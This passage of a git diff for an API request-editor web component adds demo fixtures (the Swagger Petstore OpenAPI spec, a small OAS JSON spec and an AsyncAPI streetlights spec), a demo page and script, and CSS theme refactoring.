+            schema:
+              $ref: '#/components/schemas/Order'
+          application/xml:
+            schema:
+              $ref: '#/components/schemas/Order'
+          application/x-www-form-urlencoded:
+            schema:
+              $ref: '#/components/schemas/Order'
+  '/store/order/{orderId}':
+    get:
+      tags:
+        - store
+      summary: Find purchase order by ID
+      x-swagger-router-controller: OrderController
+      description: >-
+        For valid response try integer IDs with value <= 5 or > 10. Other values
+        will generated exceptions
+      operationId: getOrderById
+      parameters:
+        - name: orderId
+          in: path
+          description: ID of order that needs to be fetched
+          required: true
+          schema:
+            type: integer
+            format: int64
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/xml:
+              schema:
+                $ref: '#/components/schemas/Order'
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Order'
+        '400':
+          description: Invalid ID supplied
+        '404':
+          description: Order not found
+    delete:
+      tags:
+        - store
+      summary: Delete purchase order by ID
+      x-swagger-router-controller: OrderController
+      description: >-
+        For valid response try integer IDs with value < 1000. Anything above
+        1000 or nonintegers will generate API errors
+      operationId: deleteOrder
+      parameters:
+        - name: orderId
+          in: path
+          description: ID of the order that needs to be deleted
+          required: true
+          schema:
+            type: integer
+            format: int64
+      responses:
+        '400':
+          description: Invalid ID supplied
+        '404':
+          description: Order not found
+  /user:
+    post:
+      tags:
+        - user
+      summary: Create user
+      description: This can only be done by the logged in user.
+      operationId: createUser
+      responses:
+        default:
+          description: successful operation
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/User'
+            application/xml:
+              schema:
+                $ref: '#/components/schemas/User'
+          links:
+            GetUserByUserName:
+              operationId: getUserByName
+              parameters:
+                username: '$request.body#/username'
+              description: >
+                The \`username\` value from the request body to be used as
+                the \`username\` parameter in \`GET /users/{username}\`.
+            GetUserByRef:
+              operationRef: '#/paths/user/{username}/get'
+              parameters:
+                username: '$request.body#/username'
+              description: >
+                This uses \`operationRef\` instead of \`operationId\`.
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/User'
+          application/xml:
+            schema:
+              $ref: '#/components/schemas/User'
+          application/x-www-form-urlencoded:
+            schema:
+              $ref: '#/components/schemas/User'
+        description: Created user object
+  /user/createWithList:
+    post:
+      tags:
+        - user
+      summary: Creates list of users with given input array
+      description: 'Creates list of users with given input array'
+      x-swagger-router-controller: UserController
+      operationId: createUsersWithListInput
+      responses:
+        '200':
+          description: Successful operation
+          content:
+            application/xml:
+              schema:
+                $ref: '#/components/schemas/User'
+            application/json:
+              schema:
+                $ref: '#/components/schemas/User'
+        default:
+          description: successful operation
+      requestBody:
+        content:
+          application/json:
+            schema:
+              type: array
+              items:
+                $ref: '#/components/schemas/User'
+  /user/login:
+    get:
+      tags:
+        - user
+      summary: Logs user into the system
+      description: ''
+      operationId: loginUser
+      parameters:
+        - name: username
+          in: query
+          description: The user name for login
+          required: false
+          schema:
+            type: string
+        - name: password
+          in: query
+          description: The password for login in clear text
+          required: false
+          schema:
+            type: string
+      responses:
+        '200':
+          description: successful operation
+          headers:
+            X-Rate-Limit:
+              description: calls per hour allowed by the user
+              schema:
+                type: integer
+                format: int32
+            X-Expires-After:
+              description: date in UTC when token expires
+              schema:
+                type: string
+                format: date-time
+          content:
+            application/xml:
+              schema:
+                type: string
+            application/json:
+              schema:
+                type: string
+        '400':
+          description: Invalid username/password supplied
+  /user/logout:
+    get:
+      tags:
+        - user
+      summary: Logs out current logged in user session
+      description: ''
+      operationId: logoutUser
+      parameters: []
+      responses:
+        default:
+          description: successful operation
+  '/user/{username}':
+    summary: Represents a user
+    description: >
+      This resource represents an individual user in the system.
+      Each user is identified by a numeric \`id\`.
+    parameters:
+      - name: username
+        in: path
+        description: 'The name that needs to be fetched. Use user1 for testing. '
+        required: true
+        schema:
+          type: string
+    get:
+      tags:
+        - user
+      summary: Get user by user name
+      description: ''
+      operationId: getUserByName
+      responses:
+        '200':
+          description: successful operation
+          content:
+            application/xml:
+              schema:
+                $ref: '#/components/schemas/User'
+            application/json:
+              schema:
+                $ref: '#/components/schemas/User'
+        '400':
+          description: Invalid username supplied
+        '404':
+          description: User not found
+    put:
+      tags:
+        - user
+      summary: Update user
+      x-swagger-router-controller: UserController
+      description: This can only be done by the logged in user.
+      operationId: updateUser
+      parameters:
+        - name: username
+          in: path
+          description: name that need to be deleted
+          required: true
+          schema:
+            type: string
+      responses:
+        default:
+          description: successful operation
+      requestBody:
+        description: Update an existent user in the store
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/User'
+          application/xml:
+            schema:
+              $ref: '#/components/schemas/User'
+          application/x-www-form-urlencoded:
+            schema:
+              $ref: '#/components/schemas/User'
+    delete:
+      tags:
+        - user
+      summary: Delete user
+      description: This can only be done by the logged in user.
+      operationId: deleteUser
+      parameters:
+        - name: username
+          in: path
+          description: The name that needs to be deleted
+          required: true
+          schema:
+            type: string
+      responses:
+        '400':
+          description: Invalid username supplied
+        '404':
+          description: User not found
+  /unions:
+    patch:
+      summary: An oneOf body
+      requestBody:
+        content:
+          application/json:
+            schema:
+              oneOf:
+                - $ref: '#/components/schemas/Cat'
+                - $ref: '#/components/schemas/Dog'
+      responses:
+        '200':
+          description: Updated
+    post:
+      summary: An allOf body
+      requestBody:
+        content:
+          application/json:
+            schema:
+              allOf:
+                - $ref: '#/components/schemas/Cat'
+                - $ref: '#/components/schemas/Dog'
+              discriminator:
+                propertyName: pet_type
+      responses:
+        '200':
+          description: Updated
+externalDocs:
+  description: Find out more about Swagger
+  url: 'http://swagger.io'
+components:
+  schemas:
+    Order:
+      x-swagger-router-model: io.swagger.petstore.model.Order
+      properties:
+        id:
+          type: integer
+          format: int64
+          example: 10
+        petId:
+          type: integer
+          format: int64
+          example: 198772
+        quantity:
+          type: integer
+          format: int32
+          example: 7
+        shipDate:
+          type: string
+          format: date-time
+        status:
+          type: string
+          description: Order Status
+          enum:
+            - placed
+            - approved
+            - delivered
+          example: approved
+        complete:
+          type: boolean
+      xml:
+        name: order
+      type: object
+    Customer:
+      properties:
+        id:
+          type: integer
+          format: int64
+          example: 100000
+        username:
+          type: string
+          example: fehguy
+        address:
+          type: array
+          items:
+            $ref: '#/components/schemas/Address'
+          xml:
+            wrapped: true
+            name: addresses
+      xml:
+        name: customer
+      type: object
+    Address:
+      properties:
+        street:
+          type: string
+          example: 437 Lytton
+        city:
+          type: string
+          example: Palo Alto
+        state:
+          type: string
+          example: CA
+        zip:
+          type: string
+          example: 94301
+      xml:
+        name: address
+      type: object
+    Category:
+      x-swagger-router-model: io.swagger.petstore.model.Category
+      properties:
+        id:
+          type: integer
+          format: int64
+          example: 1
+        name:
+          type: string
+          example: Dogs
+      xml:
+        name: category
+      type: object
+    User:
+      x-swagger-router-model: io.swagger.petstore.model.User
+      properties:
+        id:
+          type: integer
+          format: int64
+          example: 10
+        username:
+          type: string
+          example: theUser
+        firstName:
+          type: string
+          example: John
+        lastName:
+          type: string
+          example: James
+        email:
+          type: string
+          example: john@email.com
+        password:
+          type: string
+          example: 12345
+        phone:
+          type: string
+          example: 12345
+        userStatus:
+          type: integer
+          format: int32
+          example: 1
+          description: User Status
+      xml:
+        name: user
+      type: object
+    Tag:
+      x-swagger-router-model: io.swagger.petstore.model.Tag
+      properties:
+        id:
+          type: integer
+          format: int64
+        name:
+          type: string
+      xml:
+        name: tag
+      type: object
+    Pet:
+      x-swagger-router-model: io.swagger.petstore.model.Pet
+      required:
+        - name
+        - photoUrls
+      properties:
+        id:
+          type: integer
+          format: int64
+          example: 10
+        name:
+          type: string
+          example: doggie
+        category:
+          $ref: '#/components/schemas/Category'
+        photoUrls:
+          type: array
+          xml:
+            wrapped: true
+          items:
+            type: string
+            xml:
+              name: photoUrl
+        tags:
+          type: array
+          xml:
+            wrapped: true
+          items:
+            $ref: '#/components/schemas/Tag'
+            xml:
+              name: tag
+        status:
+          type: string
+          description: pet status in the store
+          enum:
+            - available
+            - pending
+            - sold
+        petType:
+          type: string
+      discriminator:
+        propertyName: petType
+      xml:
+        name: pet
+      type: object
+    ApiResponse:
+      properties:
+        code:
+          type: integer
+          format: int32
+        type:
+          type: string
+        message:
+          type: string
+      xml:
+        name: '##default'
+      type: object
+    Cat:
+      allOf:
+      - $ref: '#/components/schemas/Pet'
+      - type: object
+        properties:
+          name:
+            type: string
+    Dog:
+      allOf:
+      - $ref: '#/components/schemas/Pet'
+      - type: object
+        properties:
+          bark:
+            type: string
+    Lizard:
+      allOf:
+      - $ref: '#/components/schemas/Pet'
+      - type: object
+        properties:
+          lovesRocks:
+            type: boolean
+  requestBodies:
+    Pet:
+      content:
+        application/json:
+          schema:
+            $ref: '#/components/schemas/Pet'
+        application/xml:
+          schema:
+            $ref: '#/components/schemas/Pet'
+      description: Pet object that needs to be added to the store
+    UserArray:
+      content:
+        application/json:
+          schema:
+            type: array
+            items:
+              $ref: '#/components/schemas/User'
+      description: List of user object
+  securitySchemes:
+    petstore_auth:
+      type: oauth2
+      flows:
+        implicit:
+          authorizationUrl: 'https://petstore.swagger.io/oauth/authorize'
+          scopes:
+            'write:pets': modify pets in your account
+            'read:pets': read your pets
+    api_key:
+      type: apiKey
+      name: api_key
+      in: header
+`;
+
+export const Oas30Json = `
+{
+  "openapi": "3.0.0",
+  "info": {
+    "version": "1.0.0",
+    "title": "Swagger Petstore",
+    "license": {
+      "name": "MIT"
+    }
+  },
+  "servers": [
+    {
+      "url": "http://petstore.swagger.io/v1"
+    }
+  ],
+  "paths": {
+    "/pets": {
+      "get": {
+        "summary": "List all pets",
+        "operationId": "listPets",
+        "tags": [
+          "pets"
+        ],
+        "parameters": [
+          {
+            "name": "limit",
+            "in": "query",
+            "description": "How many items to return at one time (max 100)",
+            "required": false,
+            "schema": {
+              "type": "integer",
+              "format": "int32"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "A paged array of pets",
+            "headers": {
+              "x-next": {
+                "description": "A link to the next page of responses",
+                "schema": {
+                  "type": "string"
+                }
+              }
+            },
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pets"
+                }
+              }
+            }
+          },
+          "default": {
+            "description": "unexpected error",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Error"
+                }
+              }
+            }
+          }
+        }
+      },
+      "post": {
+        "summary": "Create a pet",
+        "operationId": "createPets",
+        "tags": [
+          "pets"
+        ],
+        "responses": {
+          "201": {
+            "description": "Null response"
+          },
+          "default": {
+            "description": "unexpected error",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Error"
+                }
+              }
+            }
+          }
+        }
+      }
+    },
+    "/pets/{petId}": {
+      "get": {
+        "summary": "Info for a specific pet",
+        "operationId": "showPetById",
+        "tags": [
+          "pets"
+        ],
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "required": true,
+            "description": "The id of the pet to retrieve",
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Expected response to a valid request",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            }
+          },
+          "default": {
+            "description": "unexpected error",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Error"
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  },
+  "components": {
+    "schemas": {
+      "Pet": {
+        "type": "object",
+        "required": [
+          "id",
+          "name"
+        ],
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          },
+          "tag": {
+            "type": "string"
+          }
+        }
+      },
+      "Pets": {
+        "type": "array",
+        "items": {
+          "$ref": "#/components/schemas/Pet"
+        }
+      },
+      "Error": {
+        "type": "object",
+        "required": [
+          "code",
+          "message"
+        ],
+        "properties": {
+          "code": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "message": {
+            "type": "string"
+          }
+        }
+      }
+    }
+  }
+}
+`;
+
+export const Async20 = `
+asyncapi: '2.0.0'
+info:
+  title: Streetlights API
+  version: '1.0.0'
+  description: |
+    The Smartylighting Streetlights API allows you
+    to remotely manage the city lights.
+  license:
+    name: Apache 2.0
+    url: 'https://www.apache.org/licenses/LICENSE-2.0'
+servers:
+  mosquitto:
+    url: mqtt://test.mosquitto.org
+    protocol: mqtt
+channels:
+  light/measured:
+    publish:
+      summary: Inform about environmental lighting conditions for a particular streetlight.
+      operationId: onLightMeasured
+      message:
+        name: LightMeasured
+        payload:
+          type: object
+          properties:
+            id:
+              type: integer
+              minimum: 0
+              description: Id of the streetlight.
+            lumens:
+              type: integer
+              minimum: 0
+              description: Light intensity measured in lumens.
+            sentAt:
+              type: string
+              format: date-time
+              description: Date and time when the message was sent.
+
+`;
diff --git a/demo/request-editor.html b/demo/request-editor.html
new file mode 100644
index 0000000..72c9852
--- /dev/null
+++ b/demo/request-editor.html
@@ -0,0 +1,15 @@
+<!doctype html>
+<html lang="en">
+
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
+  <title>api-request-editor</title>
+  <link rel="stylesheet" href="./demo.css" />
+</head>
+
+<body class="styled">
+  <div id="demo"></div>
+  <script type="module" src="request-editor.js"></script>
+
+</html>
diff --git a/demo/request-editor.js b/demo/request-editor.js
new file mode 100644
index 0000000..ecb9bee
--- /dev/null
+++ b/demo/request-editor.js
@@ -0,0 +1,313 @@
+import { html } from 'lit-html';
+import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
+import '@anypoint-web-components/anypoint-item/anypoint-item.js';
+import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
+import '@advanced-rest-client/authorization/oidc-authorization.js';
+import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@advanced-rest-client/authorization/oauth1-authorization.js';
+import { AmfDemoBase } from './lib/AmfDemoBase.js';
+import '../xhr-simple-request.js';
+import '../api-request-editor.js';
+
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
+class ComponentDemo extends AmfDemoBase {
+  constructor() {
+    super();
+    this.initObservableProperties([
+      'outlined',
+      'selectedAmfId',
+      'allowCustom',
+      'allowHideOptional',
+      'responseBody',
+      'urlLabel',
+      'urlEditor',
+      'renderCustomServer',
+      'allowCustomBaseUri',
+      'noServerSelector',
+      'applyAuthorization',
+    ]);
+    this.componentName = 'api-request-editor';
+    this.allowCustom = true;
+    this.allowHideOptional = true;
+    this.urlLabel = false;
+    this.urlEditor = true;
+    this.renderCustomServer = false;
+    this.noServerSelector = false;
+    this.allowCustomBaseUri = false;
+    this.applyAuthorization = true;
+
+    this.demoStates = ['Filled', 'Outlined', 'Anypoint'];
+    this._demoStateHandler = this._demoStateHandler.bind(this);
+    this._toggleMainOption = this._toggleMainOption.bind(this);
+    this._responseReady = this._responseReady.bind(this);
+    this._apiRequestHandler = this._apiRequestHandler.bind(this);
+    this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`;
+  }
+
+  _demoStateHandler(e) {
+    const state = e.detail.value;
+    this.outlined = state === 1;
+    this.compatibility = state === 2;
+    this._updateCompatibility();
+  }
+
+  _authSettingsChanged(e) {
+    const value = e.detail;
+    this.authSettings = value;
+    this.authSettingsValue = value ? JSON.stringify(value, null, 2) : '';
+  }
+
+  /**
+   * @param {ApiNavigationEvent} e
+   */
+  _navChanged(e) {
+    this.selectedAmfId = undefined;
+    this.responseBody = undefined;
+    const { domainId, domainType } = e.detail;
+    if (domainType === 'operation') {
+      this.selectedAmfId = domainId;
+      this.hasData = true;
+    } else {
+      this.hasData = false;
+    }
+  }
+
+  _apiListTemplate() {
+    return [
+      ['demo-api', 'Demo API'],
+      ['google-drive-api', 'Google Drive'],
+      ['multi-server', 'Multiple servers'],
+      ['httpbin', 'httpbin.org'],
+      ['APIC-168', 'APIC-168: Custom scheme support'],
+      ['apic-169', 'apic-169'],
+      ['APIC-289', 'APIC-289: OAS param names'],
+      ['APIC-298', 'APIC-298: OAS param names 2'],
+      ['APIC-480', 'APIC-480'],
+      ['APIC-613', 'APIC-613'],
+      ['APIC-689', 'APIC-689: Enum values'],
+      ['SE-12042', 'SE-12042: Default values issue'],
+      ['SE-12224', 'SE-12224: Scope is not an array issues'],
+      ['SE-12957', 'SE-12957: OAS query parameters documentation'],
+      ['api-keys', 'API key'],
+      ['oas-demo', 'OAS Demo API'],
+      ['oauth-flows', 'OAS OAuth Flow'],
+      ['oas-bearer', 'OAS Bearer'],
+      ['secured-api', 'Security demo'],
+      ['21143', '21143'],
+      ['annotated-parameters', 'annotated-parameters'],
+    ].map(([file, label]) => html`
+      <anypoint-item data-src="models/${file}-compact.json">${label}</anypoint-item>
+      `);
+  }
+
+  _responseReady(e) {
+    const { isError, response } = e.detail;
+    if (isError) {
+      this.responseBody = 'Error in response';
+    } else {
+      this.responseBody = response.payload;
+    }
+  }
+
+  _apiRequestHandler(e) {
+    console.log(e.detail);
+  }
+
+  requestChangeHandler() {
+    console.log('requestChangeHandler');
+  }
+
+  dispatchAnnotations() {
+    const detail = { 
+      values: [
+        { annotationName: 'credentialType', annotationValue: 'id', fieldValue: 'test value 1' },
+        { annotationName: 'credentialType', annotationValue: 'secret', fieldValue: 'test value 2' },
+      ] 
+    };
+    document.dispatchEvent(new CustomEvent('populate_annotated_fields', { detail, bubbles: true }));
+  }
+
+  _addCustomServers() {
+    if (!this.renderCustomServer) {
+      return '';
+    }
+    const { compatibility } = this;
+    return html`
+    <div class="other-section" slot="custom-base-uri">Other options</div>
+    <anypoint-item
+      slot="custom-base-uri"
+      data-value="http://mocking.com"
+      ?compatibility="${compatibility}"
+    >Mocking service</anypoint-item>
+    <anypoint-item
+      slot="custom-base-uri"
+      data-value="http://customServer.com2"
+      ?compatibility="${compatibility}"
+    >Custom instance</anypoint-item>`;
+  }
+
+  _annotationsEventTemplate() {
+    return html `
+      <section class="documentation-section">
+        <h3>Annotations event</h3>
+        <p>
+          Dispatch event to update values from annotations.
+          <anypoint-button @click="${this.dispatchAnnotations}">Dispatch</anypoint-button>
+        </p>
+      </section>
+    `;
+  }
+
+  contentTemplate() {
+    return html`
+    <xhr-simple-request @api-response="${this._responseReady}"></xhr-simple-request>
+    <oauth1-authorization></oauth1-authorization>
+    <oauth2-authorization></oauth2-authorization>
+    <oidc-authorization></oidc-authorization>
+    <h2 class="centered main">API request editor</h2>
+    ${this.demoTemplate()}
+    ${this._annotationsEventTemplate()}
+    `;
+  }
+
+  demoTemplate() {
+    const { loaded } = this;
+    return html `
+    <section class="documentation-section">
+      <h3>Interactive demo</h3>
+      <p>
+        This demo lets you preview the API Request Editor element with various
+        configuration options.
+      </p>
+      <div class="api-demo-content">
+        ${!loaded ? html`<p>Load an API model first.</p>` : this.loadedTemplate()}
+      </div>
+    </section>`;
+  }
+
+  loadedTemplate() {
+    return html`
+    ${this.componentTemplate()}
+    `;
+  }
+
+  componentTemplate() {
+    const {
+      demoStates,
+      darkThemeActive,
+      outlined,
+      compatibility,
+      amf,
+      redirectUri,
+      allowCustom,
+      allowHideOptional,
+      selectedAmfId,
+      responseBody,
+      urlLabel,
+      urlEditor,
+      noServerSelector,
+      allowCustomBaseUri,
+      applyAuthorization,
+    } = this;
+    return html`
+    <arc-interactive-demo
+      .states="${demoStates}"
+      @state-changed="${this._demoStateHandler}"
+      ?dark="${darkThemeActive}"
+    >
+      <div slot="content">
+        <api-request-editor
+          .amf="${amf}"
+          .domainId="${selectedAmfId}"
+          ?allowCustom="${allowCustom}"
+          ?allowHideOptional="${allowHideOptional}"
+          ?outlined="${outlined}"
+          ?compatibility="${compatibility}"
+          ?urlLabel="${urlLabel}"
+          ?urlEditor="${urlEditor}"
+          ?applyAuthorization="${applyAuthorization}"
+          globalCache
+          .redirectUri="${redirectUri}"
+          ?noServerSelector="${noServerSelector}"
+          ?allowCustomBaseUri="${allowCustomBaseUri}"
+          @api-request="${this._apiRequestHandler}"
+          @change="${this.requestChangeHandler}"
+        >
+          ${this._addCustomServers()}
+        </api-request-editor>
+        ${responseBody ? html`<h3>Latest response</h3>
+        <output class="response-output" tabindex="0">${responseBody}</output>` : ''}
+      </div>
+
+      <label slot="options" id="mainOptionsLabel">Options</label>
+      
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="allowCustom"
+        .checked="${allowCustom}"
+        @change="${this._toggleMainOption}"
+        >Allow custom</anypoint-checkbox
+      >
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="allowHideOptional"
+        .checked="${allowHideOptional}"
+        @change="${this._toggleMainOption}"
+        >Allow hide optional</anypoint-checkbox
+      >
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="urlLabel"
+        @change="${this._toggleMainOption}"
+        >URL label</anypoint-checkbox
+      >
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="urlEditor"
+        @change="${this._toggleMainOption}"
+        .checked="${urlEditor}"
+        >URL editor</anypoint-checkbox
+      >
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="renderCustomServer"
+        @change="${this._toggleMainOption}"
+        >Custom servers</anypoint-checkbox
+      >
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="allowCustomBaseUri"
+        @change="${this._toggleMainOption}"
+        >Custom Base Uri</anypoint-checkbox
+      >
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="noServerSelector"
+        @change="${this._toggleMainOption}"
+      >
+        Remove Server Selector
+      </anypoint-checkbox>
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="applyAuthorization"
+        .checked="${applyAuthorization}"
+        @change="${this._toggleMainOption}"
+        title="Applies authorization configuration to the request when dispatching the event"
+      >
+        Apply authorization
+      </anypoint-checkbox>
+    </arc-interactive-demo>
+    `;
+  }
+}
+const instance = new ComponentDemo();
+instance.render();
diff --git a/demo/styles/api-console.css b/demo/styles/api-console.css
index 831cbb7..d9ddadd 100644
--- a/demo/styles/api-console.css
+++ b/demo/styles/api-console.css
@@ -1,3 +1,5 @@
+@import url('./console-theme.css');
+
 * {
   font-family: 'Roboto', 'Noto', sans-serif;
   font-size: 16px;
@@ -128,172 +130,3 @@ api-navigation {
 api-documentation {
   max-width: 1900px;
 }
-
-body {
-  color: #000;
-  --error-color: red;
-  --primary-text-color: #000;
-  --primary-color: #e91e63;
-  --primary-background-color: #ffffff;
-  --dark-divider-opacity: 0.12;
-  --api-divider-color: #e5e5e5;
-  --anypoint-button-emphasis-high-background-color: var(--accent-color);
-  --anypoint-dropdown-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.4);
-
-  --arc-font-body1-font-size: 1rem;
-  --code-font-family: 'Roboto Mono', 'Consolas', 'Menlo', monospace;
-
-  /* HTTP method colors */
-  --http-get-color: #008000;
-  --http-post-color: #2196F3;
-  --http-put-color: #FFA500;
-  --http-patch-color: #9C27B0;
-  --http-delete-color: #F44336;
-  --http-options-color: rgba(128, 128, 128, 0.74);
-  --http-head-color: rgba(128, 128, 128, 0.74);
-  --http-connect-color: rgba(128, 128, 128, 0.74);
-  --http-trace-color: rgba(128, 128, 128, 0.74);
-  --http-method-label-get-background-color: var(--http-get-color);
-  --http-method-label-get-color: #fff;
-  --http-method-label-post-background-color: var(--http-post-color);
-  --http-method-label-post-color: #fff;
-  --http-method-label-put-background-color: var(--http-put-color);
-  --http-method-label-put-color: #000;
-  --http-method-label-delete-background-color: var(--http-delete-color);
-  --http-method-label-delete-color: #fff;
-  --http-method-label-options-background-color: var(--http-options-color);
-  --http-method-label-options-background-color: var(--primary-text-color);
-  --http-method-label-head-background-color: var(--http-head-color);
-  --http-method-label-head-color: var(--primary-text-color);
-  --http-method-label-patch-background-color: var(--http-patch-color);
-  --http-method-label-patch-color: #fff;
-
-  --anypoint-tabs-selection-bar-color: var(--primary-color);
-
-  --api-navigation-list-item-selected-background-color: #e8e9ea;
-  --api-navigation-list-item-selected-color: #000;
-
-  --code-background-color: #f5f7f9;
-}
-
-@media (prefers-color-scheme: dark) {
-  body {
-    color: var(--primary-text-color);
-    background-color: var(--secondary-background-color);
-    --primary-color: #ffcc80;
-    --primary-text-color: #fff;
-    --accent-color: #E040FB;
-    --secondary-text-color: rgba(255, 255, 255, 0.84);
-    --primary-background-color: #424242;
-    --secondary-background-color: #313131;
-    --error-color: #ff9090;
-    --error-message-color: var(--error-color);
-    --link-color: #8bc34a;
-    --input-background-color: var(--primary-background-color);
-    --active-background-color: #616161;
-
-    --anypoint-checkbox-label-color:  #F5F5F5;
-    --anypoint-input-background-color: var(--input-background-color);
-    --anypoint-input-label-color: var(--primary-text-color);
-    --anypoint-input-input-color: var(--primary-text-color);
-    --anypoint-input-border-bottom-color: var(--primary-text-color);
-    --anypoint-input-focused-border-bottom-color: var(--primary-text-color);
-    --anypoint-input-label-background-color: rgb(66, 66, 66);
-    --anypoint-input-legacy-focus-background-color: #3a3b3c;
-    --anypoint-input-legacy-focus-border-color: #178bea;
-    --anypoint-input-info-message-color: var(--primary-text-color);
-
-    --anypoint-dropdown-menu-background-color: #494949;
-    --anypoint-dropdown-menu-label-background-color: var(--primary-background-color);
-    --anypoint-listbox-background-color: #494949;
-    --anypoint-dropdown-menu-focus-background-color: #9E9E9E;
-    --anypoint-dropdown-menu-label-color: #fff;
-    --anypoint-dropdown-menu-info-message-color: #fff;
-    --anypoint-item-hover-background-color: #9E9E9E;
-    --anypoint-item-focused-background-color: var(--primary-background-color);
-    --anypoint-icon-button-emphasis-low-color: #fff;
-
-    /* HTTP method colors */
-    --http-get-color: rgba(0, 128, 0, 0.74);
-    --http-post-color: rgba(33, 150, 243, 0.74);
-    --http-put-color: rgba(255, 165, 0, 0.74);
-    --http-patch-color: rgb(156, 39, 176);
-    --http-delete-color: rgba(244, 67, 54, 0.74);
-    --http-options-color: rgba(128, 128, 128, 0.74);
-    --http-head-color: rgba(128, 128, 128, 0.74);
-    --http-connect-color: rgba(128, 128, 128, 0.74);
-    --http-trace-color: rgba(128, 128, 128, 0.74);
-    --http-method-label-head-color: #000;
-    --http-method-label-get-background-color: var(--http-get-color);
-    --http-method-label-get-color: #fff;
-    --http-method-label-post-background-color: var(--http-post-color);
-    --http-method-label-post-color: #fff;
-    --http-method-label-patch-background-color: var(--http-patch-color);
-    --http-method-label-patch-color: #fff;
-    --http-method-label-put-background-color: var(--http-put-color);
-    --http-method-label-put-color: #fff;
-    --http-method-label-delete-background-color: var(--http-delete-color);
-    --http-method-label-delete-color: #fff;
-    --http-method-label-options-background-color: var(--http-options-color);
-    --http-method-label-options-background-color: #fff;
-    --http-method-label-head-background-color: var(--http-head-color);
-    --http-method-label-head-background-color: #fff;
-    --http-method-label-trace-background-color: var(--http-trace-color);
-    --http-method-label-trace-background-color: #fff;
-    --http-method-label-connect-background-color: var(--http-connect-color);
-    --http-method-label-connect-background-color: #fff;
-
-    --operation-params-title-color: var(--primary-text-color);
-    --operation-subheader-color: var(--secondary-text-color);
-    --operation-description-color: var(--secondary-text-color);
-
-    --resource-subheader-color: var(--secondary-text-color);
-    --security-subheader-color: var(--secondary-text-color);
-    --pill-color: #000;
-
-    --markdown-styles-code-text-shadow: none;
-    --markdown-styles-h6-color: var(--secondary-text-color);
-    --markdown-styles-table-row-background-color: var(--primary-background-color);
-    --markdown-styles-table-even-row-background-color: var(--secondary-background-color);
-
-    --code-color: var(--primary-text-color);
-    --code-background-color: #202020;
-    --code-punctuation-value-color: var(--code-color);
-    --inline-documentation-color: var(--primary-text-color);
-
-    --api-annotation-document-color: var(--primary-text-color);
-    --api-annotation-background-color: var(--primary-background-color);
-    --api-body-document-description-color: var(--primary-text-color);
-
-    --api-endpoint-url-background-color: var(--primary-background-color);
-    --api-endpoint-url-color: var(--primary-text-color);
-
-    --http-code-snippet-code-text-shadow: var(--primary-text-color);
-    --http-code-snippet-container-background-color: var(--code-background-color);
-    --http-code-snippet-code-function-color: #82AAFF;
-    --http-code-snippet-code-keyword-color: #C792EA;
-    --http-code-snippet-code-cdata-color: #adb9c5;
-
-    --resource-tryit-background-color: var(--code-background-color);
-    --resource-tryit-panels-background-color: transparent;
-    --error-message-icon-color: #cccccc;
-    --error-message-code-color: var(--secondary-text-color); 
-
-    --auth-method-oauth2-redirect-info-color: #fff;
-
-    --inline-documentation-background-color: #3a3a3a;
-
-    --api-navigation-list-item-selected-background-color: #e8e9ea;
-    --api-navigation-section-title-focus-background-color: var(--primary-background-color);
-    --api-navigation-list-item-selected-color: #000;
-
-    --resource-title-color: var(--primary-text-color);
-    --operation-title-color: var(--primary-text-color);
-    --api-description-color: var(--secondary-text-color);
-
-    /* below are CSS definitions for elements defined in the demo app, not in the components */
-    --api-navigation-background-color: var(--secondary-background-color);
-    --api-navigation-color: var(--primary-text-color);
-    --api-navigation-list-item-selected-icon-color: var(--accent-color);
-  }
-}
diff --git a/demo/styles/api-editor.css b/demo/styles/api-editor.css
new file mode 100644
index 0000000..b215ba6
--- /dev/null
+++ b/demo/styles/api-editor.css
@@ -0,0 +1,143 @@
+@import url('./console-theme.css');
+
+* {
+  font-family: 'Roboto', 'Noto', sans-serif;
+  font-size: 16px;
+}
+
+html,
+body {
+  background-color: var(--secondary-background-color);
+  height: 100%;
+  margin: 0;
+  padding: 0;
+  font-family: 'Roboto', 'Noto', sans-serif;
+  font-size: 16px;
+  user-select: none;
+  display: flex;
+  flex-direction: column;
+}
+
+#app {
+  display: flex;
